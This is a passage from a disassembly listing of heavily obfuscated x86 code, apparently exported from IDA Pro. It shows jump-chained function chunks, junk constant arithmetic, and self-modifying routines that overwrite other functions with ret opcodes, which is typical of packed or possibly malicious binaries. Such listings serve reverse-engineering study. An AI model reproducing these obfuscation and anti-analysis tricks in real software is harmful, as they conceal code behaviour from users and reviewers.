loc_4588C0:				; CODE XREF: sub_459385-1E7F4j
		xchg	ecx, [esp+0]
		jmp	sub_442BBA
; END OF FUNCTION CHUNK	FOR sub_459385

; =============== S U B	R O U T	I N E =======================================



sub_4588C8	proc near		; DATA XREF: sub_43FDFB-269Eo
		add	ecx, 0E5F2E46Eh
		add	ecx, ebp
		add	ecx, 56AF67ECh
		mov	[ecx], eax
		pop	ecx
		push	offset loc_43A28E
		jmp	sub_458F8C
sub_4588C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1A

loc_4588E3:				; CODE XREF: sub_444E1A+CC83j
		push	eax
		cdq

loc_4588E5:				; CODE XREF: sub_4551F9:loc_4478E6j
					; sub_448FC7-F1Ej ...
		jmp	loc_448158
; END OF FUNCTION CHUNK	FOR sub_444E1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_4588EA:				; CODE XREF: sub_4551F9-10301j
					; sub_448FC7+687j
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_43D280
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_4588F3:				; CODE XREF: sub_449222:loc_452D79j
		push	8218CA30h
		pop	edx
		sub	edx, 0AB52BB01h
		rol	edx, 1
		jmp	loc_44562F
; END OF FUNCTION CHUNK	FOR sub_449222

; =============== S U B	R O U T	I N E =======================================



sub_458906	proc near		; DATA XREF: dviuq5id:0044E9A7o
		pop	ebx
		lea	eax, nullsub_306
		mov	byte ptr [eax],	0C3h

loc_458910:				; CODE XREF: dviuq5id:004549FEj
		jmp	loc_44C8B2
sub_458906	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_458915:				; CODE XREF: dviuq5id:00459A16j
		call	nullsub_448
		jmp	loc_45258B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452BBF

loc_45891F:				; CODE XREF: sub_452BBF-2C4Aj
		shr	ebp, 18h

loc_458922:				; CODE XREF: sub_44ABE0:loc_440B97j
		jmp	loc_44167D
; END OF FUNCTION CHUNK	FOR sub_452BBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_458927:				; CODE XREF: sub_4393C3j
		sub	al, 99h
		push	58EE645Dh
		pop	edx
		rol	edx, 2
		add	edx, 84875762h
		or	edx, ds:4000F2h
		jmp	loc_446460
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_458943:				; CODE XREF: sub_44D45B-2F49j
		test	ebp, 0EF852B98h
		jmp	loc_447891
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------

loc_45894E:				; CODE XREF: dviuq5id:004414F7j
		jz	loc_45A4B6
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_458954:				; CODE XREF: sub_44ABE0-FB30j
		jmp	loc_43EF4D
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
		sbb	ebx, 4AEC0FEEh
		jmp	loc_45A4B4

; =============== S U B	R O U T	I N E =======================================



sub_458964	proc near		; CODE XREF: sub_449485:loc_43FE9Dj
					; sub_446DD8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043ADAD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F846 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F864 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004467DF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00449C81 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044F99B SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edi
		push	0C18584C4h
		pop	edi
		sub	edi, 754C4A68h
		or	edi, 8C8E1186h
		and	edi, 0AABD7CC6h
		jmp	loc_4467DF
sub_458964	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_458986:				; CODE XREF: dviuq5id:loc_45129Ej
		jnz	loc_446248
		jmp	loc_439E3E
; ---------------------------------------------------------------------------

loc_458991:				; CODE XREF: dviuq5id:0044C02Aj
		pop	edx
		add	edx, 0F64EF40Ch
		rol	edx, 15h
		xor	edx, 0ACCDC6D8h
		jmp	loc_4417FE
; ---------------------------------------------------------------------------
		push	613238ECh
		jmp	sub_4390B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_4589B0:				; CODE XREF: sub_459385-1EC21j
		or	ebp, esi
		test	eax, 0F62EEE9Fh
		jmp	loc_43CBE6
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_4589BD:				; CODE XREF: sub_44CB39:loc_440D8Cj
		push	edx
		mov	edx, ebx
		xchg	edx, [esp-4+arg_0]
		push	edx
		pop	ebx
		jmp	loc_444404
; END OF FUNCTION CHUNK	FOR sub_44CB39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C20F

loc_4589CA:				; CODE XREF: sub_44C20F-393Cj
		xor	edi, 0F77432BFh
		add	edi, 244E6E83h
		mov	[edi], eax
		pop	edi
		lea	eax, sub_44C20F
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A299
; END OF FUNCTION CHUNK	FOR sub_44C20F
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D17C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F013

loc_4589ED:				; CODE XREF: sub_43F013+150D7j
		jmp	loc_44F338
; END OF FUNCTION CHUNK	FOR sub_43F013
; ---------------------------------------------------------------------------

loc_4589F2:				; CODE XREF: dviuq5id:0044917Ej
		jmp	loc_443EA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_4589F7:				; CODE XREF: sub_43C4B5+B702j
		jmp	loc_457099
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_336. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_458C7A
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		jmp	loc_455F07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44181A

loc_458A0E:				; CODE XREF: sub_44181A+7j
		cmp	byte ptr [eax],	0
		jnz	loc_44F955
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44181A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F23F

loc_458A21:				; CODE XREF: sub_44F23F-1125Fj
		jmp	loc_4517ED
; END OF FUNCTION CHUNK	FOR sub_44F23F
; ---------------------------------------------------------------------------

locret_458A26:				; CODE XREF: dviuq5id:loc_4499D5j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_458A27:				; CODE XREF: sub_441C84+156B9j
		jmp	loc_443E0D
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_458A2C:				; CODE XREF: sub_44CBA2-D5EAj
		jmp	loc_44E233
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_458A31:				; CODE XREF: sub_44B99E:loc_447F51j
		cmp	al, 0A4h
		jz	loc_444333
		jmp	loc_453D10
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
		xchg	esi, edx
		xchg	esi, [edi]
		jmp	sub_445260

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_458A47	proc near		; DATA XREF: sub_43A201o

; FUNCTION CHUNK AT 0043AD57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B4CF SIZE 00000008 BYTES

		push	ebp
		mov	ebp, esp
		call	sub_4492F0
		mov	eax, 78BDA40Ah
		call	sub_453642
		mov	ds:dword_41D108, eax
		lea	eax, nullsub_12
		jmp	loc_43B4CF
sub_458A47	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_458A6A:				; CODE XREF: sub_4477D7+946Fj
		add	ecx, ebp
		mov	[ecx], esi
		sub	edx, 0E9FE7569h
		jmp	loc_4413DC
; END OF FUNCTION CHUNK	FOR sub_4477D7

; =============== S U B	R O U T	I N E =======================================



sub_458A79	proc near		; CODE XREF: dviuq5id:00439D4Bp
					; dviuq5id:0044EC13j

; FUNCTION CHUNK AT 00439FC4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00448932 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004516FE SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	esi, ebp
		add	esi, 1224E89Eh
		mov	[esi], eax
		pop	esi
		jmp	loc_4516FE
sub_458A79	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_458A8D:				; CODE XREF: sub_44084F+10467j
		jnz	loc_4399F2
		jmp	loc_450B96
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_458A98:				; CODE XREF: sub_44C80D+B77Dj
		or	ebp, 6EE2E100h
		test	ecx, ebx
		jmp	loc_458860
; END OF FUNCTION CHUNK	FOR sub_44C80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_458AA5:				; CODE XREF: sub_4597EF+6j
		add	eax, 6A48E6BDh
		mov	eax, [eax]
		test	byte ptr [eax+1], 80h
		jnz	loc_458056
		jmp	loc_44282C
; END OF FUNCTION CHUNK	FOR sub_4597EF

; =============== S U B	R O U T	I N E =======================================



sub_458ABC	proc near		; CODE XREF: dviuq5id:0044025Bp
					; dviuq5id:00441602j

; FUNCTION CHUNK AT 004443EA SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	ecx
		lea	eax, sub_454515
		mov	byte ptr [eax],	0C3h
		jmp	loc_4443EA
sub_458ABC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BB8

loc_458ACF:				; CODE XREF: sub_440BB8j
		mov	eax, [esp+0]
		jmp	sub_4437F7
; END OF FUNCTION CHUNK	FOR sub_440BB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_458AD7:				; CODE XREF: sub_443F7F+7E4Bj
		pop	edi
		and	eax, 0F9C0CBCDh
		add	eax, 57DAB878h
		add	eax, ebp
		jmp	loc_448338
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------

loc_458AEB:				; CODE XREF: dviuq5id:00456B17j
		jnb	loc_459479

; =============== S U B	R O U T	I N E =======================================



sub_458AF1	proc near		; CODE XREF: sub_443AC1:loc_43CDA4p

; FUNCTION CHUNK AT 00449100 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453FE3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00457C60 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, ds:dword_44FAFC

loc_458AFB:				; CODE XREF: dviuq5id:loc_459865j
		or	eax, eax
		jnz	loc_44E728
		jmp	loc_457C60
sub_458AF1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41D05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453ECC

loc_458B0E:				; CODE XREF: sub_453ECC+1j
		jmp	loc_45237F
; END OF FUNCTION CHUNK	FOR sub_453ECC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_458B13:				; CODE XREF: dviuq5id:loc_43ED1Fj
					; sub_44B2EA+12j ...
		jno	loc_43DBF4
		pop	edx
		mov	eax, [esp-8+arg_4]
		jmp	loc_44481C
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------

loc_458B22:				; CODE XREF: dviuq5id:004488DBj
		push	ebp

; =============== S U B	R O U T	I N E =======================================



sub_458B23	proc near		; CODE XREF: sub_44CA06-CF36p

; FUNCTION CHUNK AT 0043959C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004407EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441CAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445B92 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044D1CA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0045238B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454045 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00455E2D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004563D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456788 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045766E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457CED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00458006 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		push	edx
		jmp	loc_445B92
sub_458B23	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_458B2E:				; CODE XREF: sub_4525D0+42C1j
		test	eax, ebx
		jmp	loc_454638
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4461D0

loc_458B35:				; CODE XREF: sub_4461D0:loc_445D3Cj
					; dviuq5id:00445D59j
		and	edx, 0DC4B5308h

loc_458B3B:				; CODE XREF: dviuq5id:loc_45173Dj
		cmp	edx, 84FFEDF3h
		jmp	loc_456F8C
; END OF FUNCTION CHUNK	FOR sub_4461D0
; ---------------------------------------------------------------------------

loc_458B46:				; CODE XREF: dviuq5id:004573DCj
		pop	edx
		pop	ecx
		call	sub_44C9E4

loc_458B4D:				; CODE XREF: dviuq5id:004526F3j
		jmp	loc_458CD0
; ---------------------------------------------------------------------------

loc_458B52:				; CODE XREF: dviuq5id:004480C3j
		jmp	loc_459D65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_458B57:				; CODE XREF: sub_44CFBC-FD82j
		mov	eax, ds:dword_4442B8
		or	eax, eax
		jnz	loc_44990B
		jmp	loc_446283
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_458B6A:				; CODE XREF: sub_447ECD:loc_4444FFj
					; sub_43D28E+10E53j
		ror	edi, 1Fh
		jmp	loc_43D1E1
; END OF FUNCTION CHUNK	FOR sub_43D28E

; =============== S U B	R O U T	I N E =======================================



sub_458B72	proc near		; CODE XREF: sub_43B9A5:loc_43B56Ej
					; dviuq5id:0043E0F4p

; FUNCTION CHUNK AT 0043EBAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453C37 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045A667 SIZE 00000015 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	5329B771h
		pop	ecx
		xor	ecx, 0CF23EE79h
		rol	ecx, 0Eh
		jnb	loc_45A669
		adc	eax, 8E0CB211h
		jmp	loc_43EBAE
sub_458B72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_458B96:				; CODE XREF: sub_44B99E-DC4j
		popf
		adc	ebx, eax
		test	ebx, 0F4EC9E4Ah
		jmp	loc_44246E
; END OF FUNCTION CHUNK	FOR sub_44B99E

; =============== S U B	R O U T	I N E =======================================



sub_458BA4	proc near		; CODE XREF: dviuq5id:0044E6C8j
					; sub_44648C+8EF0p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004397C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A34D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043ECAD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044427E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00444FFF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A69D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D838 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450ADF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00456CEC SIZE 00000005 BYTES

		xchg	eax, [esp-4+arg_0]
		pop	eax
		xor	ebx, 0E3E6FAEDh
		xchg	ebx, [esp+0]
		push	0
		push	10h
		jmp	loc_4397C7
sub_458BA4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_458BBA:				; CODE XREF: dviuq5id:00458C8Aj
		and	edx, eax
		jmp	loc_446739
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_458BC1:				; CODE XREF: sub_44E1C0-135Aj
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		jmp	loc_450916
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------

loc_458BCD:				; CODE XREF: dviuq5id:0044494Ej
		jnz	loc_44B336

; =============== S U B	R O U T	I N E =======================================



sub_458BD3	proc near		; CODE XREF: sub_450377-952p

; FUNCTION CHUNK AT 00449688 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004591DD SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ecx
		push	5D821E56h
		jmp	loc_449688
sub_458BD3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_458BE2:				; CODE XREF: sub_4477D7:loc_45189Bj
		mov	eax, [ebp-104h]
		cmp	byte ptr [eax],	0
		jnz	loc_43CDE3
		jmp	loc_450C40
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
		add	esi, 0A35CC99Ch
		xor	ebx, edx
		js	loc_4597F2
		jmp	loc_44CDBF
; ---------------------------------------------------------------------------

loc_458C09:				; DATA XREF: dviuq5id:loc_4519A7o
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]

loc_458C19:				; CODE XREF: dviuq5id:004456B5j
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		jmp	loc_43FD4A
; ---------------------------------------------------------------------------
		cdq
		test	edx, 74F9A8EAh
		jmp	loc_44C1CF
; ---------------------------------------------------------------------------

loc_458C30:				; CODE XREF: dviuq5id:00453856j
		mov	ebx, 879E1D79h

loc_458C35:				; CODE XREF: dviuq5id:loc_4431EFj
		push	0B266DCE2h
		pop	eax
		or	eax, 9B4353C4h
		jmp	loc_459349

; =============== S U B	R O U T	I N E =======================================



sub_458C46	proc near		; CODE XREF: sub_4553DE-1577Fj
					; sub_44D42F+5662p
		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, sub_44D42F
		mov	byte ptr [eax],	0C3h
		jmp	loc_44F0F1
sub_458C46	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebx
		push	0C0870B4Dh
		xchg	eax, [esp]
		add	ebx, edx
		jmp	loc_44AA35
; ---------------------------------------------------------------------------

loc_458C68:				; CODE XREF: dviuq5id:004467A9j
		sbb	esi, 1CA78F8h

; =============== S U B	R O U T	I N E =======================================



sub_458C6E	proc near		; CODE XREF: dviuq5id:00451258p
		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [eax],	0C3h
		jmp	loc_44DA47
sub_458C6E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_458C7A:				; CODE XREF: dviuq5id:004589FDj
		push	offset sub_44D148
		jmp	loc_440F51
; ---------------------------------------------------------------------------

loc_458C84:				; CODE XREF: dviuq5id:loc_454500j
		push	ebx
		xchg	ebx, [esi]
		ror	ebp, 4
		jmp	loc_458BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F3F

loc_458C8F:				; CODE XREF: sub_450F3F+462Aj
		jz	loc_44E0A4

loc_458C95:				; CODE XREF: sub_45668B+Cj
		jmp	loc_43CF9A
; END OF FUNCTION CHUNK	FOR sub_450F3F
; ---------------------------------------------------------------------------
		jb	loc_4402C6
		jmp	loc_44E09F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E3C2

loc_458CA5:				; CODE XREF: sub_44E3C2-14CE8j
		jnz	loc_450677
; END OF FUNCTION CHUNK	FOR sub_44E3C2
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_458CAB:				; CODE XREF: sub_43FA59+11479j
		jmp	loc_441687
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_458CB0:				; CODE XREF: sub_445707+9F8Bj
		jmp	loc_451D42
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
		push	ecx
		mov	ebp, edi
		xor	edx, 42980A88h
		mov	ecx, [ebx]
		jmp	loc_450677
; ---------------------------------------------------------------------------
		add	ebx, 71829D4Fh
		jmp	loc_44E66C
; ---------------------------------------------------------------------------

loc_458CD0:				; CODE XREF: dviuq5id:loc_458B4Dj
		and	edx, 304A667Ch
		rol	edx, 5
		add	edx, 0FFF8ADA6h
		push	offset loc_43EA58
		jmp	loc_4530AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		push	5D405703h
		push	offset sub_44045F
		jmp	loc_456D09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CC63

loc_458CFA:				; CODE XREF: sub_44CC63-D13j
		jnz	loc_451594
		sbb	edx, 65F1365h

loc_458D06:				; CODE XREF: dviuq5id:loc_4524BCj
		call	nullsub_22

locret_458D0B:				; CODE XREF: sub_44864B:loc_454644j
		retn
; END OF FUNCTION CHUNK	FOR sub_44CC63
; ---------------------------------------------------------------------------

loc_458D0C:				; CODE XREF: dviuq5id:00451804j
		jmp	loc_4599E9
; ---------------------------------------------------------------------------

loc_458D11:				; CODE XREF: dviuq5id:loc_44DBD5j
		push	edi
		push	6B8EA538h
		pop	edi
		jmp	loc_456825
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F3BF

loc_458D1D:				; CODE XREF: sub_44F3BF+6j
		xchg	ebx, [esp+4+var_4]
		push	offset loc_43DBFD
		jmp	nullsub_505
; END OF FUNCTION CHUNK	FOR sub_44F3BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_458D2A:				; CODE XREF: sub_45753F-122ACj
		push	offset sub_443DE3
		jmp	loc_445A54
; END OF FUNCTION CHUNK	FOR sub_45753F

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_458D34	proc near		; CODE XREF: sub_45844D:loc_43DB42j
		retn
sub_458D34	endp

; ---------------------------------------------------------------------------

loc_458D35:				; CODE XREF: dviuq5id:0044561Cj
		jmp	nullsub_205
; ---------------------------------------------------------------------------

loc_458D3A:				; CODE XREF: dviuq5id:0043DFEFj
		jmp	loc_44E5BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_458D3F:				; CODE XREF: sub_445A59:loc_4476B9j
		adc	ebp, 13B9031Bh
		jmp	loc_44D274
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------

loc_458D4A:				; CODE XREF: dviuq5id:loc_441853j
		mov	[esi], ebx
		jmp	loc_455693
; ---------------------------------------------------------------------------

loc_458D51:				; CODE XREF: dviuq5id:0044AE8Dj
		test	ecx, eax
		jmp	loc_43E4C3
; ---------------------------------------------------------------------------

loc_458D58:				; CODE XREF: dviuq5id:0044F62Bj
		mov	ebx, ebp
; START	OF FUNCTION CHUNK FOR sub_4585FC

loc_458D5A:				; CODE XREF: sub_4585FC:loc_44F614j
		and	eax, 1D28216h
		xor	eax, 808257h
		call	sub_444E1A
; END OF FUNCTION CHUNK	FOR sub_4585FC
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_458D6B:				; CODE XREF: sub_452A73:loc_4544D2j
		jmp	loc_456EB0
; END OF FUNCTION CHUNK	FOR sub_452A73

; =============== S U B	R O U T	I N E =======================================



sub_458D70	proc near		; CODE XREF: sub_439C8C+192Fj
					; sub_450B01+1D37p

; FUNCTION CHUNK AT 0043BCB2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043FDA7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045070A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00456BAB SIZE 0000000D BYTES

		xchg	edi, [esp+0]
		pop	edi
		jnz	loc_453027
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		call	sub_442AA1

loc_458D87:				; CODE XREF: dviuq5id:0045921Fj
		jmp	loc_43BCB2
sub_458D70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_458D8C:				; CODE XREF: sub_44250B+7034j
		jmp	loc_44396C
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------
		add	esi, ebx
		jmp	loc_449B01
; ---------------------------------------------------------------------------

loc_458D98:				; CODE XREF: dviuq5id:0043DBA1j
		sbb	esi, edx

; =============== S U B	R O U T	I N E =======================================



sub_458D9A	proc near		; CODE XREF: sub_445707-7757p

; FUNCTION CHUNK AT 0044171D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00445A62 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004517C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452275 SIZE 00000020 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0
		push	ecx
		push	0CA20853h
		pop	ecx
		jmp	loc_4517C8
sub_458D9A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_458DAC:				; CODE XREF: sub_448424+3553j
		add	esi, 0FF9EBFB8h
		add	eax, esi
		pop	esi
		mov	eax, [eax]
		push	esi
		push	0C6F2D550h
		pop	esi
		or	esi, 21EDE84Eh
		jmp	loc_4592F9
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_458DC9:				; CODE XREF: sub_44B02F:loc_43B0B6j
		shl	eax, 2
		cdq
		add	eax, [esp+0]
		adc	edx, [esp+4]
		jmp	loc_43CF95
; END OF FUNCTION CHUNK	FOR sub_44B02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_458DD9:				; CODE XREF: sub_4574E7-D4B7j
		jnz	loc_444437
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_4574E7
; START	OF FUNCTION CHUNK FOR sub_454094

loc_458DE0:				; CODE XREF: sub_454094:loc_43BB8Cj
					; sub_4574E7:loc_45848Cj
		push	edi
		push	0BB5849E8h
		pop	edi
		jmp	loc_43FC64
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_458DEC:				; DATA XREF: sub_44A6A4-900Fo
		mov	eax, ds:dword_44DF08
		or	eax, eax
		jnz	loc_44C688
		jmp	loc_4427F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_458DFF:				; CODE XREF: sub_44C4E2:loc_451364j
		lea	eax, sub_443481
		mov	byte ptr [eax],	0C3h
		jmp	loc_457B84
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454E7C

loc_458E0D:				; CODE XREF: sub_454E7C:loc_445BBBj
		mov	eax, [esp+0]
		call	sub_44B85C
; END OF FUNCTION CHUNK	FOR sub_454E7C
; START	OF FUNCTION CHUNK FOR sub_45000B

loc_458E15:				; CODE XREF: sub_44646F:loc_43CE05j
					; sub_45000B:loc_44412Dj
		pop	eax
		rol	eax, 0Ah
		add	eax, 0C0837314h
		retn
; END OF FUNCTION CHUNK	FOR sub_45000B
; ---------------------------------------------------------------------------

loc_458E20:				; CODE XREF: dviuq5id:00451FFAj
		call	sub_43938B
		jmp	loc_452A6E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_472. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_458E2B:				; CODE XREF: sub_43AE68+16A82j
		jmp	loc_454AE2
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_458E30:				; CODE XREF: sub_4492F0+9BEj
					; sub_449485+286Ej
		jmp	sub_44D260
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BDEB

loc_458E35:				; CODE XREF: sub_44BDEB-10AD1j
		xchg	ebp, [esp+4+var_4]
		push	0E547A65h
		pop	ecx
		and	ecx, 28355D2Eh
		jmp	loc_453B29
; END OF FUNCTION CHUNK	FOR sub_44BDEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433AF

loc_458E49:				; CODE XREF: sub_4433AF:loc_43A93Fj
		mov	eax, edx
		call	sub_454AAA
